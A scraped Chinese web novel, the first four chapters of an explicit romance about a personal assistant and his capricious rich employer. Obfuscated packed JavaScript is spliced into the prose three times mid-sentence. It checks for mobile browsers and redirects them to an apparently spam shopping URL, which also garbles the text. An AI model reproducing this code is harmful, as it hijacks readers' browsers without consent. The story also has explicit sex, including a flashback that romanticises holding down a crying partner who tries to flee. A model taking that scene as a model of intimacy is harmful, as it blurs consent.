《他是爱我的》 1. 第 1 章 啪——! 宋飞鸿的手劲很大,她一记响亮耳光短暂性的打蒙了我。 她怒道:“小舒去哪儿了?!不是让你看着他吗?” 我脸上火辣辣的疼,低着头答道:“是我没看好他。” 宋母拦住女儿,温和道:“好了,你打他就能把小舒打出来吗?” 宋飞鸿皱眉道:“妈。跟这小少爷说好的今晚要去乔伯伯的生日宴,临到头人不见了,我能不生气吗?” 提起小儿子,宋母也是头疼,含着歉意对我说:“飞鸿也是着急,小舒跟你关系最好,藏在哪儿只有你能找到。” 哪里是跟我关系最好,分明是把我当狗使唤,毕竟狗怎么会咬人。 身为宋逸舒的贴身助理,我用冰块给脸消肿后,顶着巴掌印跟三个电脑高手组成的寻找小宋总小组花二十分钟找到了宋逸舒位置。 包间里彩灯光芒万丈,我穿过热舞人群看到了那个在角落里的宋家小少爷。 宋逸舒温润的眉眼长得像他那拥有二分之一日耳曼血统的外婆,高挺的鼻梁和性感嘴唇则像来自淮南的祖母多一些,他集父母、祖父母、外祖父母的容貌优点为一身,俊美同时又带点幼态,简直像一个上帝亲手打造的顶级艺术品。 白皙无暇的肌肤和精致立体的五官,让他从小就备受瞩目,留着一头乌黑秀丽的长发,跟古书里会吸食男人精血的妖精没什么区别。 此刻的他坐在一个我没见过的男人…… 好吧,也可能是男模怀里腻腻歪歪,两人亲密的就差没亲嘴了。 不过我也知道,宋逸舒一向有修养有洁癖,不会在这种情况下,跟来路不明的男模亲嘴。 我走到他面前,恭敬地喊了声:“宋总。” 宋逸舒歪在那个男模怀里,纤细修长的食指绕着一截秀发,很是惊讶地说:“你怎么来迟了?按照规矩,可要自罚三杯哦。” 我端起三杯酒毫不犹豫地一饮而尽,重复了遍他亲姐和亲妈在家火烧眉毛,催促他赶紧回去,不然就急得要跳黄浦江的举动。 宋逸舒听完我的长篇演讲,只是淡淡地“哦”了句,往男模怀里歪了歪,用长发遮住眼睛,晃着脑袋说:“可我不想去怎么办啊?那个生日宴全是老头子,看得人家眼睛痛哎。” 我看向抱着他的男模,那男模长得很端正俊朗,阳光帅气,肌肉也很好,是宋逸舒喜欢的类型,只是看向我时眼里有明显的挑衅和鄙夷。 看来,如果不是我出现的话,两人应该会度过一个美好的夜晚。 我叹了口气,说:“你不去的话,宋总可能会停卡停投资。” 宋逸舒把头发搭在撅起的红唇上,孩子气地说:“停呗,反正你有工资会养我。” 我直白的告诉他:“我工资是从你公司里开的。” 宋逸舒看了我一眼,很是为难地从男模怀里起来,把一群激情乱舞的人赶走。 不过片刻,偌大的包间只剩我们两个,他端起一杯酒慢悠悠喝起来。 我端详他衔酒杯时的红唇,撩起眼皮对上他那双如春水般清透的眼睛。 我曾深深怀疑过,宋逸舒是不是有什么超能力,不然怎么能把自己外貌捏得毫无攻击性,可以轻松的在清纯和妖冶妩媚之间来回切换? 我跪到他面前,解开他的短裤抽绳,低头吻上。 半小时后,我喝了杯酒漱去嘴里的甜腻,看着昂扬骂自己没出息。 宋逸舒衣不蔽体,长发如海藻般铺在沙发上,令他白皙如玉的肌肤愈发白嫩。 他一脸餍足,脸颊绯红地望着我,声音带着情事后的沙哑:“你知道她们让我去做什么吗?” 我扶起他,一手把着他柔顺的长发,眼睛在沙发缝里找他的内裤,答道:“不知道。” 宋逸舒靠在我肩头,对我耳朵吹气:“乔总儿子从国外回来了,她们呀想让我跟他结婚呢。” 宋逸舒初中就出柜了,出柜不说,还是个花心种子,他父母已经从当年的震惊转变到了现在的麻木,每天都在家里拜神仙,祈求儿子不要花心,安安稳稳找一个老攻过日子就行。 我找到他的白色内裤,已经被我口水和他的水弄得很湿,宋逸舒嫌弃得不穿,我只好塞进口袋,继续给他套裤子:“乔总儿子长得不错,你会喜欢的。” 宋逸舒偏头,露出凌乱黑发下的半张精致小脸,眼尾红红地看着我:“你早就知道了?” 我说:“宋阿姨让我帮忙看看,你喜不喜欢。” 他静了半晌,而后倏的一笑,角落里的昏暗灯光让他发色变得朦胧、柔顺,配上那张漂亮的脸,他靠在我肩头时,我们俩竟有几分亲密无间的感觉。 他含住我耳垂,轻声道:“如果你很满意,那我愿意见见。我对你好不好呀?” 幽淡好闻的清香扑进我鼻尖,我偏头对上他清亮的眸子,想笑但嘴角牵了半天也扯不出来一个笑,只好继续给他穿衣服:“很好。” 他骨肉匀亭的手臂勾住我脖颈,甜甜地在我脸上亲了口:“当然,我最爱你了,抱我出去。” 我点头,将他清瘦的身体抱在怀里,跟抱新娘子一样阔步出了包间。 我抱着宋逸舒走在前面,他把头靠在我胸膛上,天真吴邪地玩着长发。 他个头在男人堆里不算矮,以他的话来说可是有足足的175.59!腰细腿长,身姿挺拔,再不好的衣服料子往他身上一套都跟镶了金边一样。 上车后宋逸舒从我怀里扭出来,跟矜贵的猫一样坐到窗边不看我,那模样已经丝毫没有在包间里按着我头要我快点给他舔的骚|样。 他这脾气我已经习惯了,上一秒跟你说说笑笑,温柔可人,下一秒就会安静或者忧郁起来,甚至还会打人,我看过不少心理方面的书,苦口婆心的开导过他。心理学很有效果,这两年他已经不打我了。 另一个助理小曾从副驾扭头提醒道:“宋总,还有两小时,乔总生日宴……” 宋逸舒俊美细白的侧脸几乎融化在黄昏里,他嘴唇抿着不回答,小曾只好投来求助的目光,我朝他回了个放心的眼神。 小曾回头,隔音板缓缓升起。 这辆商务车很大,里面放了几件宋飞鸿给弟弟备的西装衬衣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271561|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我把衣服拿出来,说:“换衣服好不好?” 宋逸舒冷冷道:“不穿西装就不让我进去了?相个亲做那么正式做什么?” 西装防尘袋在我手里跟冰一样,我压下心头突然泛起的涩:“当然会让你进去,只是你现在这样会有失小宋总的面子。” 宋逸舒头抵着车玻璃,扭头看我,笑道:“我有什么面子?那男的既然在国外留学,那应该知道我的战绩吧。” 宋逸舒把他以往的斩男情史称之为战绩。 在留学时期,他是有名的花心富二代,换男友的速度跟换衣服一样,我那时跟在他身边做陪读,亲眼见证了他一周换四个的最高速度。 就算这样,还是有不少男人拜倒在他充满着香气和高贵优雅的西装裤下。 哎,男人就是贱啊,总以为自己是宋逸舒身边最特别的一个,其实在他身边呆最长的也就七十八天。 我曾问过宋逸舒,为什么不能稳定下来谈一场恋爱,不要出轨搞劈腿。 宋逸舒认真的想了想,无谓道:“他们不听话啊,我找不到像你这样听话的。” 我陷入了很大的沉默。 因为他让我陪在他身边的原因,只是因为我听话,能忍受他的任性,帮他收拾在国外醉生梦死后,每天在不同男人床上醒来的残局。 在我劝说和宋家父母打来的视频下,宋逸舒还是让我给他换上了西服。 米白色西服衬得他温柔、俊美,快及腰的墨色长发如瀑布般散落在身后,黑白相撞,加之宋逸舒此时挂起了亲人的淡笑,跟他父母打视频电话,那乖巧温顺的可爱模样看得我不禁心紧了几分。 这跟刚刚那个颐指气使我的人完全不一样,他就这样面上纯真甜美,其实背地里没把任何人当人看。 我在心里默默祈祷,这个乔总儿子最好能听话一点,不要让宋逸舒一不高兴就出轨搞男模了。 同时又祈求今晚这个男模能让宋逸舒高兴,这样的两头祈求让我有点鄙视自己。 谁家助理做成我这样。 乔家很快到达,宋逸舒一下车就被宋飞鸿接走,他没要我跟着,而是让小曾跟着,我被留下处理工作。 我在车里坐了快四个小时,只等到了小曾回来。 我问:“小宋总呢?” 小曾道:“跟老夫人回家了。” 我斟酌了会儿,问:“小宋总跟乔总儿子相处怎么样?” 小曾挠了挠脸:“小宋总挺喜欢那个人的吧。” 我心下了然,说不清是该高兴还是难过,拒绝司机送我回家的心意后,打车回了家。 我只是个勉强高中毕业,跟在留学的宋逸舒身边攒了点钱,省吃俭用好几年才终于买了套二居室的人。 此时已过了午夜十二点,我打开手机,做起宋逸舒明天的行程规划。 他才二十二岁担了个公司老总的名头,每天工作不少,我身为他助理,白天陪他在商海闯荡,晚上陪床,要是他不需要我陪,我就得找干净的他喜欢的1送到他床上。 如果有金牌好助理奖,我应该拿了个大满贯。 2. 第 2 章 就在我拿着好助理金奖发表获奖感言时,来自于宋逸舒的专属铃声打断了我的美梦。 “怎么了?” “瑞吉3301。” 几个简短数字和宋逸舒清晨朦胧的音色唤醒了我的瞌睡,我抹了把脸,洗漱一番后开车去了瑞吉酒店。 给我开门的人是昨晚那个男模,他穿着一条短裤,袒露着布满了抓痕的结实上半身,看我时的眼神带着极强的攻击性,仿佛他昨晚已经进入了宋逸舒的人生,成为了宋逸舒的终身伴侣。 我往房间里走了一步,看到凌乱的沙发,心想好吧,他在某种事实上也算进入了宋逸舒的人生。 酒店早餐永远是那几样,不过因为这家酒店咖啡做的不错,宋逸舒挺喜欢来这里开房。 他穿着露了大半个精致锁骨的浴袍坐在窗边,脸颊透着潮红,细白脚尖勾着拖鞋悠闲地喝咖啡,看到我进来,朝我露出一个明媚微笑:“早饭吃了吗?” 我走过去,抹了把他柔顺的长发,确认是干的后,答道:“没有。” 宋逸舒转头吩咐:“那个……小张,再叫一份中式早餐,不要咖啡要普洱茶,粥要皮蛋瘦肉。” 那个叫小张的男人应了声,叫好早餐,坐在桌边陪他吃早饭。 等早餐时,我从烘干机里找到宋逸舒昨晚的米白色西服,在洗衣间抖开,用挂烫机熨起来。 宋逸舒端着咖啡走过来,浴袍下的修长双腿随意交织在一起,笑着说:“我决定恋爱了。” 挂烫机温度开的不高,但还是把我惊了一下,我看了眼外面那个吃早饭的男人,直接道:“阿姨和叔叔知道你跟男模交往,会被气死的,尤其是你姐。” 宋逸舒眼睛瞪圆了:“他不是男模,他是郑光介绍给我的大四学生,比我还大几个月。” 果然,宋逸舒身边围着不少想得好助理金牌奖的人,什么男人都往他床上送,怎么不把自己洗干净送他床上去。 其实也不是没有送过,只是宋逸舒这人薄情、花心得很,睡腻了就不来往了。 我面无表情地熨衬衣,极力忽略宋逸舒那张充满了怒意的俊美小脸,缓缓道:“谈吧,还是个大学生,你悠着点,别太早甩了他。” 宋逸舒畅想道:“怎么会呢,我可是最专一的。说不定这次我们会走进婚姻的殿堂,到时候……” 我毫不留情地戳穿他:“你只是专一的喜欢帅哥。” 宋逸舒跺了下脚,哼道:“你怎么那么讨厌,以后我谈恋爱不会告诉你啦。” 我扯起一个豪门管家的笑,说:“少爷,如果一夜情也算恋爱,你已经谈过很多次了。” 宋逸舒说:“那我也跟你谈过哎。” 第一次和宋逸舒上床,是在他留学时,跟男友吵架而伤心,在酒吧买醉后差点被路过的美国男捡走,要不是我及时赶到,明天我又得去纽约的各大酒店找他。 我把他扶回房子,保姆给他换了衣服,只是他还嚷嚷着要喝酒。 没有办法,我陪他喝了两杯。两杯酒下肚,他又让我陪他睡觉。 我有点慌乱:“睡……睡觉?” 宋逸舒喝得脸颊通红,几缕碎发垂在脸颊边,眉眼间春波流转。 他迷迷糊糊地抱住我脖子,主动把鲜艳欲滴的唇送上来:“对啊,就像高中时我们看的那个电影一样,你把**插进我的……” 我满脸通红地捂住他嘴,结结巴巴道:“陪读服务里没有这一项。” 他湿热的舌尖慢慢舔着我手,软软的嘴唇跟豆腐一样。 他眨了眨眼睛:“可我想要。” 我内心还在天人纠结,纠结该不该破坏这个单纯的陪读关系,毕竟我跟他是玩不起的关系。 只是我被他舌尖舔舐的掌心跟钻了虫子一样痒,脖子也被他指甲细细刮着。 我不想这种事情发现在他跟他前任吵架后,也不想成为他酒醉醒来后的一个麻烦,可等我反应过来的时候,他已经坐到我腿上。 我艰难地想离开,但还是抵不住宋逸舒身上的香气以及他犹如绸缎般滑嫩的身体。 从天人交战到没拒绝,我用了罕见而又艰难的两分钟,因为我知道,如果我拒绝他,他会让管家找其他男人来。 宋逸舒处理一段感情的方法就是,开启一段新的感情,甚至于他会同时有好几个恋情,劈腿对他而言是小菜一碟。 我们在客厅的地毯上做了第一次,第一次,我犯了所有处男都会犯的错。 我很羞赧,不断亲吻他脸颊:“再给我一次机会。” 那个时候的他还是少年身型,身体才长开没多久,纤细轻薄,肌肤嫩得跟一汪水一样,瘦薄得肌肉线条瘦而不柴,随着呼吸起伏流畅又迷人。 他的长发散在地毯上犹如毒舌,而发丝主人在我耳边柔声魅惑:“快*我。” 我感觉我的灵魂受到了极大冲击,我一边吻他,一边欣赏我这个肤色黑的人与他白肤交织在一起的黑白配色。 突然,他疯了一样打我,想逃跑,我不想让他离开,更不想离开温柔乡。 我摁住他,看到他的雪白皮肉从指缝里溢出来,白里透着粉的肌肤上有了我的痕迹,我也疯了。 不顾他的哭喊、发抖,疯狂的回吻他,不断吸吮他的舌尖,仿佛这样我们就能融为一体。 宋逸舒哭了,清泪顺着他绯红的眼角没入鬓发,打湿了他的长发,他嘴唇颤抖着接受我的吻。 我拨开他脸上的发丝,轻柔地吻他眼睛,轻声道:“小舒,是哪里不舒服吗?还是疼?” 他嘴唇微微张着,银丝从他嘴角蜿蜒向下,一直延伸到锁骨。 他双眼涣散,满脸春意地嗫喏:“没有,好舒服……天良,我好爱你啊。” 这个不属于我的名字让我浑身一震,没想到在他如此兴奋的时候,脑海里想的是另一个男人。 我震惊于他的放|荡,也生气我被当做替代品对待,可最让我生气的是他到底是从哪个男人手里学坏了的,熟练的亲吻,让我想他到底跟多少个男人接过吻才有今天这样的技巧。 小舒他以前不是这样的,一想到这个,我就生气,气得我生出了想要抱着他缠绵到死的冲动。 他的身体很软,肌肤光滑,他会打我、抓我的背,还会嘀嘀咕咕说一些我听不懂的爱情话。但我知道他说的这些都不是给我听的,而是那个叫天良的男人。 最终他在我怀里沉沉睡去,但我还是亢奋地睡不着,紧紧抱着他,将手掌插入他掌心,在凌晨时分与他十指相扣。 第二天中午,他在我怀里醒来,发现我们睡过后,没有什么特别大的反应,仿佛迟早有一天,我会爬上他的床。 他没有生气,只是埋怨我怎么弄那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271562|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么深,影响他今天上课。 我默默收拾着狼藉的床,说:“对不起,我昨晚喝多了。” 他静了会儿,然后随性地撩了把长发,吃吃地笑:“我没有怪你呀,至少我昨晚很开心。” 我昨晚也很开心。 只是这种开心的夜晚得在他无聊、不高兴或是跟男友吵架后,我才能短暂的拥有完整的他。 其余时候我都是他的陪读和私人助理,得承受他的一切脾气,包括去纽约各个酒店带他回家。 挂烫机的热气让我回神,我熨着西裤,说:“你这次打算谈多久?” 宋逸舒道:“谈到结婚你信不信!他也是个愣头青,但技术比你好多了。” 我嘴角抽搐,换了个话题:“乔总儿子你不喜欢?” 宋逸舒“唔”了声,说:“那个乔哲年我才不喜欢,古板无趣,怎么玩啊。要是我婚后出轨,他们家一定会把我打成土豆泥的。所以pass!pass!” “你不出轨就可以避免这个。” 他挽着我手臂,甜甜地笑:“那样的话,我还怎么跟我最爱的你亲嘴呢。” 我一时分不清宋逸舒说这些话的时候,到底知不知道婚内是不允许出轨的,也不允许养小三。 我都决定了,等宋逸舒结婚收心,我就辞去这份工作。只是不知道接替我照顾宋逸舒的人能不能照顾好他。 宋逸舒开始跟那个大学生交往,我陪在他身边,看两人卿卿我我。谈恋爱时的宋逸舒跟个大学生没什么两样,会撒娇会玩笑,出手也大方,或者说他对他每个情人都很大方。 初夏的一个晚上,我在公司忙得焦头烂额时,接到了宋飞鸿的电话。 “小舒在哪儿?” “小曾陪他去跟立华的章总吃饭了。” 宋飞鸿扯了两句后,正经地问:“那他跟乔哲年相处的怎么样?他最近有没有在外面乱搞?” 我懵了。 于是在第二天,我直接在他办公室里问他:“你为什么要跟你姐说你和乔哲年在相处?你不是在跟小张交往吗?” 宋逸舒玩着手机,头也不抬地说:“十分钟前分了呀,我觉得我跟他不合适,他居然睡觉打呼噜,太没有美感了。” 我:“……” “可你们昨晚都去开房了。” 宋逸舒震惊地看了我一眼:“你怎么知道?” 我无奈道:“你开房时留的电话一直是我的。” 宋逸舒优雅地耸了耸肩,说:“这样方便你来找我呀。” 我又气又无奈,不知道他到底是心疼我还是不想他家里人知道他经常在外面乱开房,我无奈地接受了这个结局,说起来这个小张从宋逸舒回国后算是交往得比较久的一个对象。 我问他:“那你要跟乔哲年交往吗?” 以我对他的了解,他上午跟小张分手,下午五点前就得找个男人玩,打发打发他无聊又多金的人生。 宋逸舒答道:“不知道,相处下试试吧。不是你们说他不错吗?我就试着相处一下嘛。” 我有点欣慰宋逸舒的成长,他终于肯慢慢来恋爱了,这个乔哲年应该蛮讨宋逸舒喜欢的,希望他能跟宋逸舒进入婚姻的殿堂。 只是我这个欣慰还没保持一天,次日早上,我就接到了宋逸舒的电话。 “W酒店2302。” 3. 第 3 章 我感觉我都快成这几个酒店的常客了,硬着头皮找前台刷卡后的样子,像一个无能的丈夫找外出风流的妻子。 这次给我开门的是乔哲年,他穿着西装衬衣,身材挺拔,模样儒雅,却因为他不过几天就爬上宋逸舒的床,让我对他有点嗤之以鼻。 他礼貌地点点头,侧身让我进去。 依旧的,宋逸舒坐在窗边吃早饭看手机新闻,问:“早饭吃了吗?” 我瞥了眼里间凌乱的大床,手握成拳,答道:“吃了。” 宋逸舒指了指洗衣间,吩咐道:“我衣服洗好了,给我熨了。” 我熨好衬衣出来,房间里只有宋逸舒一个人,乔哲年在卫生间。 我拿起梳子走过去,拢起他黑亮柔顺的长发慢慢梳起来。 宋逸舒仰头,看着我笑:“你觉得他怎么样?” 他头发在我指尖滑动,我心里一紧,勉强道:“很好,听说他在成大基金工作,性格温和,以前还没谈过恋爱。” 他笑得很纯真甜美,眼眸亮若星辰:“确实,这个乔哲年比起爸妈以前给我介绍的,确实很好。我决定了,我要跟他好好恋爱。” 我嘴角微微抽搐,心想上次听到这句话是十二天前,他跟那个小张决定恋爱的时候。 宋逸舒这种挂在嘴边的决定好好恋爱话,我已经听了很多年,或者说每当他遇到喜欢的,都会说这句话,他好像也对我说过。 我跟宋逸舒的孽缘开始于初中,他从小就被家里娇养长大,脾气任性不说,还调皮得很,小学就把他外公的□□章带到学校盖作业玩,到了初中更是留起了长发。 不过因为宋父的生意,宋逸舒初二时转学到了我的班上。我第一次见到他的时候,还以为他是个女孩子。 精致、漂亮的他一进来就吸引了学校所有人的目光,成为了当之无愧的宇宙级中心,享受着众星捧月的日子。 而我不过是一个凭借成绩好,硬着头皮顶着全家人希望考进来的特困生。 不过也因为成绩好,班主任把成绩不好的他安排在了我的旁边。 初一那年,我们成为了同桌。 我每天上课认真听讲,他每天上课梳头发、照镜子或者睡觉。 要是遇到不喜欢的课,他就会命令我给他编辫子,老师看我俩在课堂上过家家也不好说什么,谁让宋逸舒家里有钱还有权呢。 眼看儿子成绩一落千丈,宋家父母不得不找家教,但无济于事,于是他们把主意打到了我身上。 他们看我跟宋逸舒关系好,让我帮宋逸舒补课。 其实那时候宋家父母都不知道,我跟宋逸舒都不是关系好,而是他把我当狗使唤,其他同学都有点受不了他的公主病,只有我愿意做,他有什么不想做的,不想吃的都统统扔给我,就连上厕所不想去,他都让我背着他去,脱裤子穿裤子这种小事,宋小少爷都不做,都是我帮他。 而我也像有受虐症一样,心甘情愿地为他付出。 我问过他为什么要这样对我。 他笑得很可爱,说:“因为我觉得你人很好,我喜欢跟你玩。” 在宋逸舒单纯的认知里,他认为这是跟我玩得好的表现。 当然,他真的对我很好,他会帮我赶走要我钱的混混,偶尔给我他吃不完的早餐、牛奶、还有各种补品,因为他说我长得有点矮,背他跑起来很慢。 得益于他那几年的投喂,我现在倒有接近188的身高,把他单手拎起来都可以。 不过我还是会因为他跟别的男生说话,在帮他梳头发时,故意拖几分钟才给他别上发夹。 我不想他跟别的男生好,只想我一个人对他好就可以了。 我帮宋逸舒补课时,是司机接我去的他家里。 当我穿着破烂的帆布鞋,洗涤得泛白的校裤走进他家别墅时,我感觉自己像是一个乞丐进入了公主的城堡。 内里装潢明亮,充斥着一股清淡好闻的味道,不像我家里的潮湿味,有很多家具是我没有见过的,超大的钢琴摆在客厅中央,从客厅可以看到窗外的秋千,旋转楼梯边有部电梯。 而宋逸舒就从那部电梯里出来,他穿着浅蓝色背带短裤,长发披在身后,耳边别了个开心超人发夹,看到我,热情地打招呼:“你来了?” 我点点头,面对精致、高贵的他有些局促不安。 保姆给我们摆上茶点,高兴地说:“小少爷还是第一次带同学回来呢,你要喝什么吗?” 我不敢坐他们家的沙发,只愣愣站着,扣着我发了线的书包带子,说:“可……可乐吧,谢谢。” 宋逸舒兴奋为我介绍糕点,说这个圆圆的叫马卡龙,是他姐姐从法国带回来的很好吃,只不过他发现有块马卡龙裂了点缝后,不满地对保姆说:“这个都裂了,这么丑,我不吃。” 保姆连忙道歉,赶紧换了盘上来。 吃完东西,我拿出作业帮他补课,学习的时候宋逸舒很安静,他趴在茶几上,白嫩嫩的手臂垫着下巴,睁着一双大眼睛看我,他瀑布般的长发拢在耳后,露出透着一圈粉的耳朵。 宋逸舒其实很聪明,但就是不喜欢学习,他说父母已经给他安排好了,初中毕业就去国外留学。 我说:“你这么小,去国外怎么照顾自己。” 宋逸舒吹起额前碎发,随意道:“你可以跟我一起走啊,这样你就能照顾我了。” 我说这不可能,我家没钱供我出国。 我家庭条件非常拮据,老爸酗酒,老妈瘫痪在床,全家都盼着我读书出人头地。 宋逸舒显然不理解,我为什么要那么努力读书,只觉得读书这种费脑子的事不如玩游戏来的舒服。 初三那年,十五岁的宋逸舒开始了早恋,而早恋对象是隔壁班一个优等男生。 那个男生长得不错,对宋逸舒很好很照顾,其实不久前他问过我要是他早恋了,我会不会不高兴。 我写着作业,想了很久说:“如果你会开心的话,我不会不高兴的。你有喜欢的人了?” 宋逸舒脸上充满着一种我没见过的羞涩:“没有呀,只是问问你而已。” 但我知道,他已经快陷入爱情的漩涡了,因为我已经两个星期没去他家补课了。 宋家父母都不知道自己儿子出柜了,只知道家里又多了一个来给儿子补课、陪儿子玩的人。 而我当时对同性恋这种事没有任何感觉,只觉得又有一个人要来跟我争照顾宋逸舒的事了。 那个男生确实对宋逸舒很好,家里很有钱很帅气,也很有耐心。 不管宋逸舒发什么脾气,他都默默忍受,跟我一样有点贱,有次两人在走廊吵架,宋逸舒扇了他一耳光,那个男生也没有生气。 他会给宋逸舒买很多我没有见过的零食、手表、玩具,甚至有时候还会给我一些礼物,让我帮忙照顾宋逸舒。 我把那个男生送的礼物丢到我家化粪池里,心想在他没有出现前,一直都是我在照顾他,他现在用一点东西就想收买我吗? 可事实上,从宋逸舒到了这个学校,每天都能收到各种男男女女的情书,每到圣诞节和新年,他和我的桌子都堆满了礼物。 很多他看不上用不了的都送给我,而我也当作是他送给我的,小心翼翼保存起来,除了那个初恋送的。 放学后,初恋会骑自行车送宋逸舒回家,宋逸舒坐在后座,单手搂住他腰。 那个初恋叫顾天良。 临近中考前,我又去他家补课,站在他房间外,数了一百秒然后敲门,阔步进去把他从顾天良怀里揪到客房,用湿巾擦着他红红的唇瓣,说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271563|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要考试了,你还不学习,就知道早恋。” 宋逸舒让我坐下,自己顺势坐到我怀里,满不在意道:“有你呀,你会帮我补习的。” 我抚摸着他顺滑的头发,说:“我不能跟你一辈子,你那个男朋友才会。” 宋逸舒说:“为什么?” 我道:“因为你在跟他谈恋爱。” 宋逸舒笑着勾住我的脖颈,天真烂漫地说:“唔……可他觉得我也在跟你谈恋爱,他让我不要脚踏两条船。” 我无语了,这个顾天良真是丧尽天良。 宋逸舒却笑得乐不可支:“所以我决定跟你好好恋爱,你可不能丢下我。” 乔哲年从卫生间出来,坐在椅子上看新闻,宋逸舒弯腰勾着他脖颈笑盈盈地说话。 两人亲密无间,完全看不出才认识不久的样子。 或许这是上帝赐予宋逸舒最完美的性格,他能让任何人义无反顾、无可救药地爱上他。 但当对方爱意达到一个顶峰时,宋逸舒的爱意就会慢慢消失,他的公主病和极度自我中心会完全爆发,他有一定的控制欲,不允许对方脱离自己掌控,任何一个不符合他心意的举动或者话,都会让他生气,让他觉得自己制定的规则被冒犯、被忽视,一旦让他不高兴,他就会迅速这段关系,寻找下一个能忍受他脾气的人。 而我有点佩服我自己,居然能忍受他这么多年。 看来一个单单的好助理金牌奖不能安慰我这么多年的付出,我得拿一个窝囊废奖才行。 出了酒店,宋逸舒跟乔哲年分开去上班。 上车后,宋逸舒翘了个二郎腿,顺势倒在我腿上玩手机,说:“谈恋爱好累哦。” 我处理着公司事情,失笑道:“以后会好起来的,乔哲年人很好。” 宋逸舒指尖在我裤子上滑来滑去,天真道:“你很想我恋爱哎,啊……好想有一个时光机,回到过去,再也不要长大。” 他被宋家人保护的很好,言语间还保持着少年心性。 我抚摸着他的长发,又在心里默默祈祷这个乔哲年能保护好他。 宋逸舒开始跟乔哲年交往,这一次他好像真的付出了认真,宋家乔家父母都对这一对情侣很满意。两家人有两次见面,恨不得帮他们把当场婚礼办了! 而我依旧默默做着那个白天陪宋逸舒在工作上打拼,晚上……现在晚上不需要陪床了,我回到我自己家,偶尔看看宋逸舒照片释放欲望,然后睡觉。 宋逸舒跟乔哲年交往一个月后,在一个炎热的夜晚,我穿着睡衣在家做宋逸舒过两天出差的工作行程时。 门铃被人摁响了。 我打开门,果不其然是宋逸舒。 他穿着一身休闲短裤卫衣,两条笔直修长的大白腿暴露在夏夜里,长发随意挽起来,脸颊边垂落几缕发丝,遮住他苍白难过的小脸。 我将他迎进来,关切道:“怎么了?” 他没有回答我,只是扑上来搂住我脖颈主动吻我的唇。 他的舌尖跟游蛇一样钻进我的嘴里,用力地亲我,他身体很软很纤细。我无法拒绝,一手托起他屁股,反手关上门将他抵在玄关亲了个晕乎,听他发出呻|吟才抱着他去了客厅。 在沙发上做到一半时,我将上半身压在他单薄背上,掐住腰窝后撞,望着他线条漂亮的蝴蝶骨,说:“跟他吵架了吗?” 宋逸舒的长发几乎铺满了他优美的背脊,他抬起挂满了泪珠的睫毛,泪珠因为我的动作掉在沙发上,眼尾红红地说:“跟你有什么关系?做好你自己就行。” 宋逸舒就是这样,娇蛮任性得很,不过我猜也能猜到,他是跟乔哲年吵架了。 一旦吵架,他需要的不是酒精,而是疯狂的性。 于是我这个贴心助理,只好加重动作满足他。 4. 第 4 章 疯狂了一夜的后果就是我的后背被宋逸舒抓得跟棋盘一样,而他本人自然也收到了不少牙印子。 他懒洋洋地躺在床上,盖着被子拱了拱鼻子,骂我是狗,连他屁股尖儿都要咬一口。 我收拾着地上的四五个避|孕|套,对于他骂我的话只当是事后他良心发现不应该给乔哲年戴绿帽子的懊悔。 宋逸舒骂完我后,往床里一缩,指挥我去做早饭。 我把套子扔进垃圾桶,心想昨晚不应该开门的,一开门就要伺候这个嗷嗷待哺的小少爷。 他不管是恋爱还是不恋爱,折腾的都是我这个助理,我有时候希望他不恋爱,这样的话我只需要去各个酒店逮他就行,谈了恋爱我就需要承担起他跟他男朋友的心理咨询师。 “你说他是不是很过分,居然不听我的话,我都跟他说了,我不想吃那家小笼包,他非要去买。害我饿了半小时,回到家还不给我拿可乐,说喝冰的对身体不好。” 我把冰箱里的烧麦和虾饺放进微波炉一一加热,再烧水准备煮馄炖,听完宋逸舒跟乔哲年吵架的经过,说:“可是那家不是你最爱吃的吗?” 宋逸舒刚洗漱完,浑身带着股清凉薄荷味,靠在厨房门框,随意道:“他买的我不喜欢。” 我有时候搞不透宋逸舒在想什么,譬如那家小笼包明明是他最喜欢的,为什么乔哲年买回来就不喜欢了? 吃完早饭,我找出宋逸舒留在我家的衣服,给他换上后,汇报工作。 不料宋逸舒还没听完,就捂着耳朵说:“我不听不听,你跟我姐她们说去,我现在处于失恋期,无法处理工作。” 我叹了口气,说:“那你今天不上班了?” 他答道:“不去。万事有我爸妈呢。” 万恶的富二代! 宋逸舒可以不去上班,我不能不去,不然我就没有全勤了。 宋逸舒打开我的电脑开始打游戏,我给他切好水果,泡好咖啡,拎着公文包出门上班。 就像宋逸舒说的那样,这个公司有什么拿不准的事,小曾和我只需要汇报给宋飞鸿就能解决。 本来当初宋逸舒开这个公司也是玩,宋家父母已经给他攒了十辈子都败不完的家产,开一个小公司让宋逸舒玩玩也不过是让他有个事做,获得一下社会成就感。 每当他不想上班,不想处理工作的时候,他的老爸老妈老姐都会为他兜底。 